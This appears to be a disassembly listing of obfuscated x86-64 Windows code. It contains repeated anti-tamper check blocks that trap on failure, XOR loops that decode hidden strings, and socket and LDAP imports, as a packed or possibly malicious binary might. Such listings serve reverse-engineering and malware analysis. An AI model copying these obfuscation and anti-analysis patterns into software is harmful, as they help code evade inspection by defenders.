mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140054dc6
inc edi
cmp edi, 5
jl 0x140054d5c
jmp 0x140054ddd
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov r10d, 0x7dfe5890
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x140054ef0
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x140054dfb
xor r8, r11
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056031
inc edi
cmp edi, 7
jl 0x140054e8f
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x3f]
mov r11d, 0x7dfe5890
mov r10d, 0xfd6ccd6d
cmp rax, r11
jne 0x140055054
mov r8d, r10d
mov rdi, rbx
mov r9d, ebx
mov r12d, 0x930f525f
mov r15d, 0xfeefbfff
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
inc r9d
cmp r9d, 8
jl 0x140054f29
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005603c
inc edi
cmp edi, 5
jl 0x140054ff3
mov rax, qword gs:[0x3f]
cmp rax, r11
jne 0x140055180
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
movabs r9, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400550b2
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140055079
mov rax, rdi
xor rax, rdi
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056047
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14005511b
mov rax, qword gs:[0x3f]
cmp rax, r11
jne 0x140055299
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x14005519e
mov r9d, 0x930f525f
xor r8, r9
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056052
inc edi
cmp edi, 7
jl 0x140055238
mov rax, qword gs:[0x3f]
cmp rax, r11
jne 0x1400553ec
mov r8, r10
mov rdi, rbx
mov r9d, ebx
mov r10d, 0x2aaaaaab
mov r12d, 0x930f525f
mov r15d, 0xfeefbfff
mov ecx, r9d
mov rdx, r11
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
inc r9d
cmp r9d, 8
jl 0x1400552c6
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005605d
inc edi
cmp edi, 5
jl 0x14005538d
xor ecx, ecx
call fcn.1400d9e14
mov r11, rax
mov al, 0x26
xor ecx, ecx
mov byte [rbp - 0x73], cl
xor al, 0x54
mov byte [rbp - 0x74], al
mov byte [rbp - 0x73], bl
mov byte [rbp - 0x40], 0xca
mov byte [rbp - 0x3f], 0xf3
mov byte [rbp - 0x3e], 0x86
mov byte [rbp - 0x3d], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp - 0x3c], reloc.WLDAP32.dll_Ordinal_30
lea eax, [rcx + 3]
mov byte [rbp - 0x3b], al
xor eax, eax
mov byte [rbp - 0x3a], al
mov r8, rbx
lea r10d, [rcx + 6]
mov r9, r12
movabs r15, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x40]
xor dil, r8b
mov byte [rbp + r8 - 0x40], dil
inc r8
add r9, r12
add r10, 6
cmp r9, r13
jb 0x14005544c
mov byte [rbp - 0x3a], bl
mov r9, r11
lea r8, [rbp - 0x74]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc10]
call fcn.1400e0a10
mov rax, qword gs:[0x3f]
mov r11d, 0x7dfe5890
cmp rax, r11
movabs r14, 0x7775fac90
mov r15b, reloc.WLDAP32.dll_Ordinal_35
mov r10d, 1
jne 0x1400555f5
mov rdi, rbx
mov ecx, r10d
lea r9d, [r10 + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r10
sub r9, r10
jne 0x1400554fa
mov r9d, 0x930f525f
xor r8, r9
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056068
add edi, r10d
cmp edi, 7
jl 0x140055593
mov rax, qword gs:[0x3f]
cmp rax, r11
jne 0x14005570e
mov rdi, rbx
mov rcx, r10
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r10
sub r9, r10
jne 0x140055613
mov r9d, 0x930f525f
xor r8, r9
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056073
add edi, r10d
cmp edi, 7
jl 0x1400556ac
mov ecx, 2
call fcn.1400d9e14
mov r11, rax
xor ecx, ecx
mov byte [rbp - 0x6f], cl
xor r15b, 0x54
mov byte [rbp - 0x70], r15b
mov byte [rbp - 0x6f], bl
mov byte [rbp + 8], 0xb0
mov byte [rbp + 9], 0x3f
mov byte [rbp + 0xa], 0xc4
lea eax, [rcx + 0xa]
mov byte [rbp + 0xb], al
mov byte [rbp + 0xc], 0x75
mov byte [rbp + 0xd], 0xbb
mov byte [rbp + 0xe], 0x68
xor eax, eax
mov byte [rbp + 0xf], al
mov r8, rbx
mov r9, r14
lea r10d, [rcx + 7]
movabs r12, 0xeeebf5920
movabs r13, 0x8080808080808081
movabs r15, 0x1110daaf0
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 8]
xor dil, r8b
mov byte [rbp + r8 + 8], dil
inc r8
add r9, r15
add r10, 7
cmp r9, r12
jb 0x140055780
mov byte [rbp + 0xf], bl
mov r9, r11
lea r8, [rbp - 0x70]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc10]
call fcn.1400e0a10
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
movabs r14, 0x7775fac90
mov r15b, reloc.WLDAP32.dll_Ordinal_35
mov r11d, 0x2aaaaaab
jne 0x14005595b
mov r9d, 0xfd6ccd6d
mov rdi, rbx
mov r8d, ebx
mov r12d, 0x930f525f
mov r15d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r15
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x14005583c
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15b, reloc.WLDAP32.dll_Ordinal_35
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005607e
inc edi
cmp edi, 5
jl 0x1400558fc
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x140055a83
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
movabs r9, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400559b7
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140055980
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd10]
or rcx, rdx
mov rax, qword [rbp + 0xd18]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056089
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140055a20
mov ecx, 1
call fcn.1400d9e14
mov r11, rax
xor ecx, ecx
mov byte [rbp - 0x6b], cl
xor r15b, 0x54
mov byte [rbp - 0x6c], r15b
mov byte [rbp - 0x6b], bl
mov byte [rbp + 0x10], 0xb0
mov byte [rbp + 0x11], 0x3f
mov byte [rbp + 0x12], 0xc4
lea eax, [rcx + 0xa]
mov byte [rbp + 0x13], al
mov byte [rbp + 0x14], 0x75
mov byte [rbp + 0x15], 0xbb
mov byte [rbp + 0x16], 0x68
xor eax, eax
mov byte [rbp + 0x17], al
mov r8, rbx
lea r10d, [rcx + 7]
mov r9, r14
movabs r12, 0xeeebf5920
movabs r13, 0x8080808080808081
movabs r15, 0x1110daaf0
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x10], dil
inc r8
add r9, r15
add r10, 7
cmp r9, r12
jb 0x140055af5
mov byte [rbp + 0x17], bl
mov r9, r11
lea r8, [rbp - 0x6c]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xc10]
call fcn.1400e0a10
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
movabs r13, 0xccca40340
mov r11d, 0x930f525f
jne 0x140055cba
mov r9d, 0xfd6ccd6d
mov rdi, rbx
mov r8d, ebx
mov r12d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r12
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x140055ba3
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov ecx, 0xdeadbeef
or rdi, rcx
xor rax, rdi
mov ecx, 0x809295fd
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov eax, 0x8b3f65f0
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140056094
inc edi
cmp edi, 5
jl 0x140055c59
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x140055dcd
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x140055cd8
xor r8, r11
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005609f
inc edi
cmp edi, 7
jl 0x140055d6c
movdqa xmm0, xmmword [0x1401231f0]
movdqu xmmword [rbp + 0x968], xmm0
movdqa xmm1, xmmword [0x140123240]
movdqu xmmword [rbp + 0x978], xmm1
mov byte [rbp + 0x988], 0x9b
mov byte [rbp + 0x989], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x98a], 0xb5
mov byte [rbp + 0x98b], 0x9d
xor eax, eax
mov byte [rbp + 0x98c], al
mov r8, rbx
movabs r9, 0x2665ec09c0
lea r10d, [rax + 0x24]
movabs r11, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r15, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x968]
xor dil, r8b
mov byte [rbp + r8 + 0x968], dil
inc r8
add r9, r12
add r10, 0x24
movabs rax, 0x4ccbd81380
cmp r9, rax
jb 0x140055e40
mov byte [rbp + 0x98c], bl
xor r8d, r8d
mov edx, esi
lea rcx, [rbp + 0x968]
call fcn.140051d44
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
movabs r12, 0x6665201a0
mov esi, 0xfd6ccd6d
mov r11d, 0x930f525f
jne 0x1400560c1
mov r8d, esi
mov rdi, rbx
mov r9d, ebx
mov r12d, 0xfeefbfff
mov ecx, r9d
mov rdx, r10
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
cmp r9d, 8
jl 0x140055f02
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400560aa
inc edi
cmp edi, 5
jl 0x140055fcb
jmp 0x1400560c1
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov r10d, 0x7dfe5890
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x1400561d1
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x1400560df
xor rdi, r11
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
